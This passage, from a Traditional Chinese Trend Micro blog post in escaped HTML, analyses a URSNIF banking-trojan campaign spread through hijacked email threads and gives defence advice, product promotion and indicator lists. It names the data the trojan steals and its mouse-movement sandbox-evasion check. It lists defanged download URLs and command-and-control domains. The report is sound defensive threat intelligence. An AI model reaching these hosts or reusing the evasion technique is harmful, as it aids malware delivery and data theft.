\u4e5f\u662f\u5132\u5b58\u5728\u7cfb\u7d71\u767b\u9304\u7576\u4e2d\uff0c\u5982\u540c\u60e1\u610f\u7a0b\u5f0f\u7684\u5176\u4ed6\u5143\u4ef6\u4e00\u6a23\u3002\u6700\u7d42\u60e1\u610f\u6a94\u6848\u7684\u76ee\u6a19\u662f\u7aca\u53d6\u8cc7\u8a0a\uff0c\u5305\u62ec\u4ee5\u4e0b\u8cc7\u8a0a\uff1a<\/p>\n<ul>\n<li>\u7cfb\u7d71\u8cc7\u8a0a<\/li>\n<li>\u5df2\u5b89\u88dd\u7684\u61c9\u7528\u7a0b\u5f0f\u6e05\u55ae<\/li>\n<li>\u5df2\u5b89\u88dd\u7684\u9a45\u52d5\u7a0b\u5f0f\u6e05\u55ae<\/li>\n<li>\u76ee\u524d\u6b63\u5728\u57f7\u884c\u7684\u8655\u7406\u7a0b\u5e8f\u6e05\u55ae<\/li>\n<li>\u7db2\u8def\u670d\u52d9\u6e05\u55ae<\/li>\n<li>\u5916\u90e8 IP \u4f4d\u5740<\/li>\n<li>\u96fb\u5b50\u90f5\u4ef6\u767b\u5165\u6191\u8b49 (IMAP\u3001POP3\u3001SMTP)<\/li>\n<li>Cookies<\/li>\n<li>\u6191\u8b49<\/li>\n<li>\u87a2\u5e55\u756b\u9762\u64f7\u53d6 (.AVI)<\/li>\n<li>\u7d93\u7531\u7db2\u7ad9\u6ce8\u5165\u624b\u6cd5\u64f7\u53d6\u91d1\u878d\u76f8\u95dc\u8cc7\u8a0a<\/li>\n<\/ul>\n<p><strong>BSS \u5340\u6bb5<\/strong><\/p>\n<p>\u6240\u6709\u6211\u5011\u5206\u6790\u904e\u7684 URSNIF \u4e8c\u9032\u4f4d\u6a94\u90fd\u542b\u6709\u9019\u500b\u52a0\u5bc6\u5340\u6bb5\u3002\u6b64\u5340\u6bb5\u5305\u542b\u5176\u7a0b\u5f0f\u78bc\u7576\u4e2d\u6703\u7528\u5230\u7684\u6240\u6709\u5b57\u4e32\uff0c\u800c\u4e14\u53ea\u6709\u5728\u57f7\u884c\u6642\u671f\u624d\u6703\u89e3\u5bc6\u958b\u4f86\u3002\u9019\u4e00\u9ede\u8b93\u5206\u6790\u5de5\u4f5c\u66f4\u70ba\u8907\u96dc\uff0c\u56e0\u70ba\u7814\u7a76\u4eba\u54e1\u7121\u6cd5\u9032\u884c\u5b57\u4e32\u5206\u6790\u6216\u53cd\u7d44\u8b6f\u3002<\/p>\n<p><strong>\u8eb2\u907f\u6c99\u76d2\u6a21\u64ec\u5206\u6790 \/ \u53cd\u5206\u6790\u6a5f\u5236<\/strong><\/p>\n<p>\u70ba\u4e86\u9632\u6b62\u8cc7\u5b89\u5ee0\u5546\u7684\u6c99\u76d2\u6a21\u64ec\u5206\u6790\u53d6\u5f97\u5176\u76f8\u95dc\u8cc7\u8a0a (\u5982\u4f3a\u670d\u5668\u4f4d\u5740\u548c\u7d44\u614b)\uff0cURSNIF \u7684\u7a0b\u5f0f\u78bc\u7576\u4e2d\u6709\u5169\u8655\u6703\u6aa2\u67e5\u6e38\u6a19\u6240\u5728\u4f4d\u7f6e\u3002\u5982\u679c\u6e38\u6a19\u4f4d\u7f6e\u5b8c\u5168\u4e0d\u52d5\uff0c\u5c31\u5f88\u53ef\u80fd\u4ee3\u8868\u81ea\u5df1\u6b63\u5728\u6c99\u76d2\u6a21\u64ec\u5206\u6790\u74b0\u5883\u6216\u9664\u932f\u5668\u7576\u4e2d\u57f7\u884c\u3002\u9019\u9805\u6aa2\u67e5\u6703\u5728 BSS \u5340\u6bb5\u89e3\u5bc6\u4e4b\u524d\u57f7\u884c\uff0c\u56e0\u6b64\u5982\u679c\u6c92\u6709\u8655\u7406\u597d\u7684\u8a71\uff0c\u7a0b\u5f0f\u5c07\u9677\u5165\u7121\u9650\u8ff4\u5708 (\u5b57\u4e32\u4e5f\u6703\u8b8a\u6210\u4e82\u78bc)\u3002<\/p>\n<p>\u5f9e\u6211\u5011\u770b\u5230\u7684\u653b\u64ca\u4f86\u770b\uff0c\u6b79\u5f92\u4f3c\u4e4e\u4ecd\u5728\u6301\u7e8c\u5fae\u8abf\u5176\u7db2\u8def\u91e3\u9b5a\u624b\u6cd5\uff0c\u8a66\u5716\u958b\u767c\u51fa\u66f4\u6709\u6548\u7684\u8a98\u9a19\u6280\u5de7\u3002\u9019\u5e6b\u7db2\u8def\u72af\u7f6a\u96c6\u5718\u5df2\u4e0d\u518d\u4f7f\u7528\u4e00\u822c\u7684\u7db2\u8def\u91e3\u9b5a\u90f5\u4ef6\uff0c\u800c\u662f\u5de7\u5999\u5730\u5c07\u653b\u64ca\u878d\u5165\u73fe\u6709\u7684\u5c0d\u8a71\u4e32\u7576\u4e2d\uff0c\u8b93\u4e00\u822c\u4f7f\u7528\u8005\u66f4\u4e0d\u6613\u5bdf\u89ba\u3002\u9019\u9805\u65b0\u7684\u6f14\u8b8a\u53ea\u4e0d\u904e\u662f\u6b79\u5f92\u8207\u8cc7\u5b89\u7814\u7a76\u4eba\u54e1\u5f7c\u6b64\u9b25\u667a\u7684\u51b0\u5c71\u4e00\u89d2\u3002<\/p>\n<p><strong>\u9632\u79a6\u8207\u6700\u4f73\u5be6\u52d9\u539f\u5247<\/strong><\/p>\n<p>\u7db2\u8def\u91e3\u9b5a\u653b\u64ca\u4e4b\u6240\u4ee5\u80fd\u5920\u5f97\u901e\uff0c\u5c31\u5728\u65bc\u5de7\u5999\u904b\u7528\u4e86\u793e\u4ea4\u5de5\u7a0b\u6280\u5de7\u88fd\u9020\u51fa\u4e00\u7a2e\u8b93\u4eba\u5bb9\u6613\u6389\u5165\u7684\u60c5\u5883\uff0c\u4e26\u5de7\u5999\u904b\u7528\u4e92\u52d5\u4f86\u8a98\u9a19\u4f7f\u7528\u8005\u63d0\u4f9b\u81ea\u5df1\u7684\u8cc7\u8a0a\u6216\u4e0b\u8f09\u60e1\u610f\u7a0b\u5f0f\u3002\u672c\u6587\u63a2\u8a0e\u7684\u6848\u4f8b\u72e1\u8a50\u4e4b\u8655\u5728\u65bc\u5bc4\u4ef6\u4eba\u662f\u4e00\u500b\u771f\u5be6\u4f01\u696d\u7684\u771f\u5be6\u4f7f\u7528\u8005\u5e33\u865f\u3002\u53ef\u80fd\u7684\u8a71\uff0c\u4f7f\u7528\u8005\u61c9\u76e1\u91cf\u555f\u7528\u96d9\u91cd\u8a8d\u8b49 (2FA) \u4f86\u4fdd\u8b77\u81ea\u5df1\u7684\u7db2\u8def\u5e33\u865f\u3002\u6b64\u5916\uff0c\u4f01\u696d\u6700\u597d\u4e5f\u5728\u81ea\u5df1\u7684\u7cfb\u7d71\u7576\u4e2d\u52a0\u5165\u96d9\u91cd\u8a8d\u8b49\u6a5f\u5236\uff0c\u6216\u8005\u8003\u616e\u63a1\u7528\u63d0\u4f9b\u9019\u985e\u9a57\u8b49\u7684\u670d\u52d9\u3002<\/p>\n<p>\u4ee5\u4e0b\u662f\u4e00\u4e9b\u6709\u52a9\u65bc\u9632\u7bc4\u7db2\u8def\u91e3\u9b5a\u653b\u64ca\u7684\u6700\u4f73\u5be6\u52d9\u539f\u5247\uff1a<\/p>\n<ul>\n<li>\u4f01\u696d\u5167\u7684\u6240\u6709\u4f7f\u7528\u8005\u7686\u61c9\u5b78\u6703\u8fa8\u5225\u53ef\u7591\u96fb\u5b50\u90f5\u4ef6\uff0c\u5305\u62ec\u4f55\u8b02<a href=\"https:\/\/www.trendmicro.com\/vinfo\/ph\/security\/news\/cybercrime-and-digital-threats\/best-practices-identifying-and-mitigating-phishing-attacks\">\u7db2\u8def\u91e3\u9b5a<\/a>\u4ee5\u53ca\u7db2\u8def\u91e3\u9b5a\u5982\u4f55\u904b\u4f5c\u3002<\/li>\n<li>\u4efb\u4f55\u53ef\u7591\u7684\u8981\u6c42 (\u4f8b\u5982\u8981\u6c42\u532f\u6b3e) \u7686\u61c9\u7d93\u7531\u4e0d\u540c\u7684\u4eba\u54e1\u518d\u6b21\u78ba\u8a8d\u3002\u96a8\u6642\u4fdd\u6301\u8b66\u6212\uff0c\u5c24\u5176\u5728\u8655\u7406\u91d1\u878d\u4ea4\u6613\u76f8\u95dc\u4f5c\u696d\u6642\u66f4\u61c9\u7279\u5225\u5c0f\u5fc3\u8b39\u614e\u3002<\/li>\n<li>\u907f\u514d\u9ede\u9078\u4efb\u4f55\u9700\u8981\u8b8a\u66f4 Word \u5b89\u5168\u8a2d\u5b9a\u7684\u6587\u4ef6\uff0c\u56e0\u70ba\u9019\u5f88\u53ef\u80fd\u662f\u60e1\u610f\u6a94\u6848\u7684\u5fb5\u5146\u3002<\/li>\n<li>\u4ed4\u7d30\u7559\u610f\u8a0a\u606f\u7576\u4e2d\u6240\u6709\u53ef\u80fd\u7684\u7570\u5e38\u4e4b\u8655\uff0c\u5305\u62ec\u5510\u7a81\u7684\u5167\u5bb9\u3002\u4f8b\u5982\uff0c\u5728\u672c\u6587\u6848\u4f8b\u7576\u4e2d\uff0c\u539f\u672c\u7684\u90f5\u4ef6\u5c0d\u8a71\u4e32\u662f\u4f7f\u7528\u6cd5\u6587\uff0c\u7adf\u7a81\u7136\u5192\u51fa\u4e00\u5c01\u4f7f\u7528\u82f1\u6587\u7684\u7db2\u8def\u91e3\u9b5a\u90f5\u4ef6\uff0c\u5c31\u662f\u4e00\u500b\u5510\u7a81\u7684\u4f8b\u5b50\u3002<\/li>\n<\/ul>\n<p><strong>\u8a17\u7ba1\u5f0f\u5075\u6e2c\u53ca\u56de\u61c9<\/strong><\/p>\n<p>\u96a8\u8457\u7db2\u8def\u91e3\u9b5a\u653b\u64ca\u8d8a\u4f86\u8d8a\u7cbe\u5bc6\uff0c\u4f01\u696d\u5167\u90e8\u7684 IT \u6216\u8cc7\u5b89\u5718\u968a\u53ef\u80fd\u5f88\u96e3\u96a8\u6642\u76e3\u63a7\u7db2\u8def\u548c\u7aef\u9ede\u662f\u5426\u51fa\u73fe\u653b\u64ca\u7684\u5fb5\u5146\u3002\u7576\u7136\uff0c\u54e1\u5de5\u7684\u8cc7\u5b89\u610f\u8b58\u80af\u5b9a\u6709\u6240\u5e6b\u52a9\uff0c\u4f46\u6709\u6642\u5019\u8981\u5224\u65b7\u4e00\u5c01\u96fb\u5b50\u90f5\u4ef6\u662f\u5426\u70ba\u60e1\u610f\u90f5\u4ef6\u6703\u6709\u76f8\u7576\u7684\u96e3\u5ea6\uff0c\u5c24\u5176\u662f\u7576\u6b79\u5f92\u7684\u6280\u5de7\u76f8\u7576\u9ad8\u660e\u7684\u6642\u5019\uff0c\u4f8b\u5982\u672c\u6587\u7684\u6848\u4f8b\u3002<\/p>\n<p>\u5c0d\u65bc\u7f3a\u4e4f\u8cc7\u5b89\u71df\u904b\u4e2d\u5fc3 (SOC) \u7de8\u5236\u7684\u4f01\u696d\u4f86\u8aaa\uff0c\u9019\u9805\u5de5\u4f5c\u66f4\u662f\u52a0\u500d\u56f0\u96e3\uff0c\u56e0\u70ba\u4e00\u822c\u7684 IT \u5718\u968a\u901a\u5e38\u7f3a\u4e4f\u5a01\u8105\u7814\u7a76\u8207\u5206\u6790\u7684\u76f8\u95dc\u8a13\u7df4\u548c\u7d93\u9a57\u3002\u5c0d\u65bc\u9019\u6a23\u7684\u4f01\u696d\uff0c\u8da8\u52e2\u79d1\u6280\u7684<a href=\"https:\/\/www.trendmicro.com\/zh_tw\/business\/products\/user-protection\/sps\/endpoint\/managed-detection-response.html\">\u8a17\u7ba1\u5f0f\u5075\u6e2c\u53ca\u56de\u61c9\uff08managed detection and response,MDR\uff09<\/a>\u00a0 \u670d\u52d9\u5c31\u80fd\u5354\u52a9\u4f01\u696d\u5c0d\u6297\u9019\u985e\u9032\u968e\u5a01\u8105\u3002\u7531\u65bc MDR \u7684\u670d\u52d9\u5718\u968a\u901a\u5e38\u662f\u9a57\u8c50\u5bcc\u7684\u8cc7\u5b89\u5c08\u5bb6\uff0c\u56e0\u6b64\u719f\u6089\u5404\u7a2e\u5f37\u5927\u7684\u8cc7\u5b89\u6280\u8853\uff0c\u80fd\u6709\u6548\u4fdd\u8b77\u7aef\u9ede\u8207\u7db2\u8def\u3002MDR \u670d\u52d9\u4e0d\u50c5\u80fd\u5206\u6790\u5a01\u8105\uff0c\u66f4\u80fd\u91dd\u5c0d\u5404\u7a2e\u74b0\u5883\u7684\u653b\u64ca\u5fb5\u5146\u63d0\u4f9b\u76f8\u95dc\u60c5\u5883\u8cc7\u8a0a\u4f5c\u70ba\u5a01\u8105\u8abf\u67e5\u7684\u57fa\u790e\u3002<\/p>\n<p><strong>\u8da8\u52e2\u79d1\u6280\u89e3\u6c7a\u65b9\u6848<\/strong><\/p>\n<p>\u8da8\u52e2\u79d1\u6280\u7684\u5404\u9805\u7aef\u9ede\u9632\u8b77\u7522\u54c1\uff0c\u5305\u62ec\uff1a<u><a href=\"https:\/\/www.trendmicro.tw\/tw\/business\/complete-software-protection\/index.html\">\u8da8\u52e2\u79d1\u6280HYPERLINK &#8220;https:\/\/www.trendmicro.tw\/tw\/business\/complete-software-protection\/index.html&#8221; Smart Protection Suites<\/a><\/u>\u00a0\u548c \u963f\u5fb7<a href=\"https:\/\/www.trendmicro.com\/zh_tw\/small-business\/all-products-for-smb.html\">Worry-Free Business Security\u00a0<\/a>\u89e3\u6c7a\u65b9\u6848\u80fd\u5075\u6e2c\u4e26\u6514\u622a\u5a01\u8105\u76f8\u95dc\u7684\u60e1\u610f\u6a94\u6848\u3001\u96fb\u5b50\u90f5\u4ef6\u4ee5\u53ca\u76f8\u95dc\u7db2\u5740\uff0c\u6709\u6548\u9632\u7bc4\u4f7f\u7528\u8005\u548c\u4f01\u696d\u906d\u5230\u4fb5\u8972\u3002\u6b64\u5916\u9084\u6709<u><a href=\"https:\/\/t.rend.tw\/?i=NDIwMw==\">\u8da8\u52e2\u79d1\u6280HYPERLINK &#8220;https:\/\/t.rend.tw\/?i=NDIwMw==&#8221;Deep DiscoveryHYPERLINK &#8220;https:\/\/t.rend.tw\/?i=NDIwMw==&#8221;\u9032\u968e\u7db2\u8def\u5b89\u5168\u9632\u8b77<\/a> <\/u>\u00a0\u89e3\u6c7a\u65b9\u6848\u53ef\u63d0\u4f9b\u4e00\u9053\u984d\u5916\u7684\u96fb\u5b50\u90f5\u4ef6\u6aa2\u67e5\uff0c\u5e6b\u52a9\u4f01\u696d\u5075\u6e2c\u60e1\u610f\u7684\u9644\u4ef6\u548c\u7db2\u5740\u3002<\/p>\n<p>\u8da8\u52e2\u79d1\u6280<a href=\"https:\/\/www.trendmicro.tw\/business\/xgen-security.html\">XGen&#x2122; \u9632\u8b77<\/a>\u00a0\u878d\u5408\u4e86\u8de8\u4e16\u4ee3\u7684\u5a01\u8105\u9632\u79a6\u6280\u5de7\uff0c\u80fd\u4fdd\u8b77\u7cfb\u7d71\uff0c\u9632\u7bc4\u5404\u7a2e\u5a01\u8105\uff0c\u5305\u62ec\uff1a\u52d2\u7d22\u75c5\u6bd2\u548c\u865b\u64ec\u52a0\u5bc6\u8ca8\u5e63\u6316\u7926\u60e1\u610f\u7a0b\u5f0f\u3002\u5b83\u5177\u5099\u4e86\u9ad8\u6e96\u5ea6<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=55169\">\u6a5f\u5668\u5b78\u7fd2<\/a>\u6280\u8853\uff0c\u53ef\u5728<a href=\"https:\/\/www.trendmicro.tw\/tw\/business\/complete-software-protection\/index.html\">\u9598\u9053<\/a>\u548c<a href=\"https:\/\/www.trendmicro.tw\/tw\/business\/complete-software-protection\/index.html\">\u7aef\u9ede<\/a>\u4e0a\u6514\u622a\u5a01\u8105\uff0c\u4fdd\u8b77\u5be6\u9ad4\u3001\u865b\u64ec\u548c\u96f2\u7aef\u5de5\u4f5c\u8ca0\u8f09\u3002XGen&#x2122; \u9632\u8b77\u80fd\u85c9\u7531\u7db2\u7ad9\/\u7db2\u5740\u904e\u6ffe\u3001\u884c\u70ba\u5206\u6790\u53ca\u5ba2\u88fd\u5316\u6c99\u76d2\u6a21\u64ec\u5206\u6790\uff0c\u4f86\u9632\u7bc4\u4eca\u65e5\u91dd\u5c0d\u4f01\u696d\u8a2d\u8a08\u7684\u5a01\u8105\uff0c\u9019\u4e9b\u5a01\u8105\u4e0d\u50c5\u80fd\u907f\u958b\u50b3\u7d71\u8cc7\u5b89\u9632\u79a6\uff0c\u66f4\u80fd\u5229\u7528\u5df2\u77e5\u3001\u672a\u77e5\u6216\u5c1a\u672a\u516c\u958b\u7684\u6f0f\u6d1e\uff0c\u7aca\u53d6\u500b\u4eba\u8eab\u5206\u8b58\u5225\u8cc7\u8a0a\u6216\u57f7\u884c\u4e0d\u8096\u7684\u6316\u7926\u7a0b\u5f0f\u3002\u7cbe\u6e96\u3001\u6700\u4f73\u5316\u3001\u74b0\u74b0\u76f8\u6263\u7684 XGen \u9632\u8b77\u662f\u8da8\u52e2\u79d1\u6280\u7522\u54c1\u7684\u57fa\u77f3\u3002<\/p>\n<p><strong><em>\u5165\u4fb5\u6307\u6a19 (IoC)<\/em><\/strong><\/p>\n<p><strong>.doc \u6a94\u6848\u96dc\u6e4a\u78bc<\/strong>\uff1a<\/p>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTROJ_FRS.VSN0BI18 \/ Trojan.W97M.POWLOAD.SMY\u300d<\/p>\n<ul>\n<li>bdd3f03fb074c55cf46d91963313966ce26afdb13b1444258f8f9e7e723d8395<\/li>\n<li>dd7b4fc4d5cc1c1e25c800d5622423725a1b29000f93b658a54e267bbbe6f528<\/li>\n<li>4df47982fdd1ac336625600fa8c947d45909248309b117d05fc532a2260c7bc4<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTrojan.W97M.POWLOAD.FGAIBT\u300d<\/p>\n<ul>\n<li>f88ef62f2342f4d1105cfe85395b735efd3f0308b79551944983ce245d425510<\/li>\n<li>567fe3794a9eec27697ae0634861d284279261880887f60a7374c6cbe63b7674<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTrojan.W97M.POWLOAD.NSFGAIBF\u300d<\/p>\n<ul>\n<li>52d3ece98b6b3b686925156c3d62d8ce133fe3326e11b4c981c251452e4a41d2<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTrojan.W97M.POWLOAD.SMEMOT\u300d<\/p>\n<ul>\n<li>4d0762a6b2879d2fa821716db76bc980fdb3b8507611d2853df58c0d4127f9ea<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTrojan.W97M.POWLOAD.SMEMOT2\u300d<\/p>\n<ul>\n<li>47e2c66ba16e3ffa9704a13f2c00670319bf292b3d2aa7deede5442da02181e5<\/li>\n<li>c2c946f7fd63fc15048a9af4043686f5a56b169e74cb36892fb8d1563b810467<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTrojan.W97M.POWLOAD.SMTHF3\u300d<\/p>\n<ul>\n<li>21ce42a1fc6631ed10db3d0e44b4ccb6d96a729fc494bd86a57cf07ff72cb8f2<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTrojan.W97M.POWLOAD.SMY\u300d<\/p>\n<ul>\n<li>de8f8f39259992886da3b07635cbf121027379e5c1a156a32c6c6e5ace3cc4c3<\/li>\n<li>6b387b8534da9cc7cf0af4f2fb8c2a92f9316c0ea6ffb9cfe49b09b4c3df9778<\/li>\n<li>6bf99f4b17a07e788219333d96a7a19c9eddc1b49d16c2a21da255a6a16c80d5<\/li>\n<li>33d078881456e3b930c480803902fa28142b17c8550f3932e7cf4a1df0eb9213<\/li>\n<li>6ca2d4dcea456b9d4c87f211ed20bb32f71a0c78ee8059b934162e643d66e0c9<\/li>\n<li>82bee0c249b63f349d212a36f0b9ad90f909017ac734eac133353a1135d7474d<\/li>\n<li>1f2e12a58cc23f4e6e7f17b8c1a5c50b88614fda103577354b9564f2dffc257f<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cW2KM_POWLOAD.FGAIBT\u300d<\/p>\n<ul>\n<li>1db71aec64d0e391a8c99f4f6ee214962a281733643ace0874cf69e2843f448c<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cW2KM_POWLOAD.NSFGAIBF\u300d<\/p>\n<ul>\n<li>c33d642da477f65c11daa9e8098b9917c4c5a6f131dd1369a20cb1b14c4cc261<\/li>\n<li>398e677290b1db00d8751c3498847ad9c7d10721630175d2506c4d45af19d229<\/li>\n<li>813a08d3b2216c89d42e8225c6de760d785905d1c76bd7428201d68c3c368f65<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cW2KM_POWLOAD.THIACAH\u300d<\/p>\n<ul>\n<li>5aed7d6a3e8692143e53f9556cd3aa371149c96b91c02d1c659cb58d88572e47<\/li>\n<\/ul>\n<p><strong>\u60e1\u610f\u7a0b\u5f0f\u6240\u4e0b\u8f09\u7684 URSNIF<\/strong><\/p>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTSPY_URSNIF.THAOOCAH\u300d<\/p>\n<ul>\n<li>0a38d92775cfc7182076d9a21c4937149ea8be6ebf22b9530afbca57d69c0d46<\/li>\n<\/ul>\n<p><strong>\u60e1\u610f\u57f7\u884c\u6a94<\/strong><\/p>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTrojanSpy.Win32.URSNIF.BAIEF\u300d<\/p>\n<ul>\n<li>358bd52ac46755b1c6fa73805a7a355450f85f4bcf1b2e798a04960743390422<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTSPY_URSNIF.THAOOCAH\u300d<\/p>\n<ul>\n<li>e8633f2f2b6b0b8f7348b4660e325ab25b87ec8faa40fb49eb0215b31bd276aa<\/li>\n<\/ul>\n<p>\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba\u300cTSPY_URSNIF.BAIEB\u300d<\/p>\n<ul>\n<li>f92ba10fe245c00575ae8031d4c721fe0ebb0820a4f45f3bbce02654a6e7f18d<\/li>\n<\/ul>\n<p><strong>\u4e0b\u8f09\u7db2\u5740<\/strong><\/p>\n<ul>\n<li>hxxp:\/\/t95dfesc2mo5jr[.]com\/RTT\/opanskot[.]php?l=targa2[.]tkn<\/li>\n<li>hxxp:\/\/enduuyyhgeetyasd[.]com\/RTT\/opanskot[.]php?l=omg8[.]tkn<\/li>\n<li>hxxp:\/\/q0fpkblizxfe1l[.]com\/RTT\/opanskot[.]php?l=targa4[.]tkn<\/li>\n<li>hxxp:\/\/2dhtsif1a8jhyb[.]com\/RTT\/opanskot[.]php?l=okb1[.]tkn<\/li>\n<li>hxxp:\/\/yrtw1djmj6eth7[.]com\/RTT\/opanskot[.]php?l=okb7[.]tkn<\/li>\n<li>hxxp:\/\/popoasdzxcqe[.]com\/YUY\/huonasdh[.]php?l=rgr7[.]tkn<\/li>\n<li>hxxp:\/\/q0fpkblizxfe1l[.]com\/RTT\/opanskot[.]php?l=targa2[.]tkn<\/li>\n<li>hxxp:\/\/e3u1oz4an1dqmj[.]com\/RTT\/opanskot[.]php?l=okb9[.]tkn<\/li>\n<li>hxxp:\/\/popoasdzxcqe[.]com\/YUY\/huonasdh[.]php?l=rgr3[.]tkn<\/li>\n<li>hxxp:\/\/2dhtsif1a8jhyb[.]com\/RTT\/opanskot[.]php?l=okb5[.]tkn<\/li>\n<li>hxxp:\/\/hbhbasdqweb[.]com\/YUY\/huonasdh[.]php?l=rgr4[.]tkn<\/li>\n<li>hxxp:\/\/q0fpkblizxfe1l[.]com\/RTT\/opanskot[.]php?l=targa4[.]tkn<\/li>\n<\/ul>\n<p><strong>\u5e55\u5f8c\u64cd\u7e31 (C&amp;C) \u4f3a\u670d\u5668<\/strong><\/p>\n<ul>\n<li>app[.]kartop[.]at<\/li>\n<li>doc[.]dicin[.]at<\/li>\n<li>doc[.]avitoon[.]at<\/li>\n<li>app[.]avitoon[.]at<\/li>\n<li>ops[.]twidix[.]at<\/li>\n<li>xx[.]go10og[.]at<\/li>\n<li>api[.]kartop[.]at<\/li>\n<li>m1[.]fofon[.]at<\/li>\n<li>cdn[.]kartop[.]at<\/li>\n<li>api[.]tylron[.]at<\/li>\n<li>chat[.]twidix[.]at<\/li>\n<li>api[.]kaonok[.]at<\/li>\n<li>chat[.]jimden[.]at<\/li>\n<li>mahono[.]cn<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>\u539f\u6587\u51fa\u8655\uff1a<a href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads\/\">Phishing Campaign uses Hijacked Emails to Deliver URSNIF by Replying to Ongoing Threads<\/a> \u4f5c\u8005\uff1aErika Mendoza\u3001Anjali Patil \u53ca Jay Yaneza<\/p>\n<p>&nbsp;<\/p>\n<p>PC-cillin \u96f2\u7aef\u7248\u6574\u5408 AI \u4eba\u5de5\u667a\u6167\u7684\u591a\u5c64\u5f0f\u9632\u8b77\uff0c\u7cbe\u6e96\u9810\u6e2c\u5373\u6642\u62b5\u79a6\u672a\u77e5\u5a01\u8105 <a href=\"https:\/\/t.rend.tw\/?i=Njc0MA\">&gt;&gt;\u5373\u523b\u514d\u8cbb\u4e0b\u8f09\u8a66\u7528<\/a><\/p>\n<p><a href=\"https:\/\/t.rend.tw\/?i=Njc0MA\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2015\/08\/Windows10Banner-540x90v5.gif\" \/><\/a><\/p>\n<p style=\"font-size: 8pt;\">\u300a \u60f3\u4e86\u89e3\u66f4\u591a\u95dc\u65bc\u7db2\u8def\u5b89\u5168\u7684\u79d8\u8a23\u548c\u5efa\u8b70\uff0c\u53ea\u8981\u5230<a href=\"https:\/\/www.facebook.com\/trendmicrotaiwan\">\u8da8\u52e2\u79d1\u6280\u7c89\u7d72\u7db2\u9801<\/a> \u6216\u4e0b\u9762\u7684\u6309\u9215\u6309\u8b9a \u300b<\/p>\n<p><iframe loading=\"lazy\" style=\"border: none; overflow: hidden; width: 350px; height: 62px;\" src=\"https:\/\/www.facebook.com\/plugins\/likebox.php?id=255176705131&amp;width=350&amp;connections=0&amp;stream=false&amp;header=false&amp;height=62\" width=\"300\" height=\"150\" frameborder=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<p style=\"font-size: 8pt;\"><b><\/b>\u300a\u63d0\u9192\u300b\u5c07\u6ed1\u9f20\u6e38\u6a19\u79fb\u52d5\u5230\u7c89\u7d72\u9801\u53f3\u4e0a\u65b9\u7684<strong>\u300c\u5df2\u8aaa\u8b9a\u300d<\/strong>\u6b04\u4f4d\uff0c\u52fe\u9078<strong>\u300c\u6436\u5148\u770b\u300d<\/strong>\u9078\u9805<strong>,<\/strong>\u6700\u65b0\u8cbc\u6587\u5c31\u6703\u512a\u5148\u986f\u793a\u5728\u52d5\u614b\u6d88\u606f\u9802\u7aef\uff0c\u8b93\u4f60\u4e0d\u6703\u932f\u904e\u4efb\u4f55\u66f4\u65b0\u3002<br \/>\n*\u624b\u6a5f\u7248\u76f4\u63a5\u524d\u5f80\u5c08\u9801\u9996\u9801\uff0c\u4e0b\u62c9\u8ffd\u8e64\u4e2d\uff0c\u5c31\u80fd\u5c07\u7c89\u7d72\u5c08\u9801\u8a2d\u5b9a\u6436\u5148\u770b\u3002<\/p>\n<p>&nbsp;<\/p>\n<p style=\"font-size: 8pt;\">\u25bc \u6b61\u8fce\u52a0\u5165\u8da8\u52e2\u79d1\u6280\u793e\u7fa4\u7db2\u7ad9\u25bc<br \/>\n<strong><br \/>\n<\/strong><strong><a href=\"https:\/\/line.me\/ti\/p\/%40fgt4590r\"><img loading=\"lazy\" decoding=\"async\" class=\"\" src=\"https:\/\/biz.line.naver.jp\/line_business\/img\/btn\/addfriends_zh-Hant.png\" alt=\"\u597d\u53cb\u4eba\u6578\" width=\"89\" height=\"30\" border=\"0\" \/><\/a> <\/strong><a href=\"https:\/\/t.rend.tw\/?i=Njc0MQ\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" src=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2015\/08\/eNews_images_2015_0161.gif\" alt=\"\" width=\"32\" height=\"32\" \/><\/a> <a href=\"https:\/\/t.rend.tw\/?i=Njc0Mg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" src=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2015\/08\/eNews_images_2015_0171.gif\" alt=\"\" width=\"32\" height=\"32\" \/><\/a> <a href=\"https:\/\/t.rend.tw\/?i=Njc0Mw\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" src=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2015\/08\/eNews_images_2015_0131.gif\" alt=\"\" width=\"32\" height=\"32\" 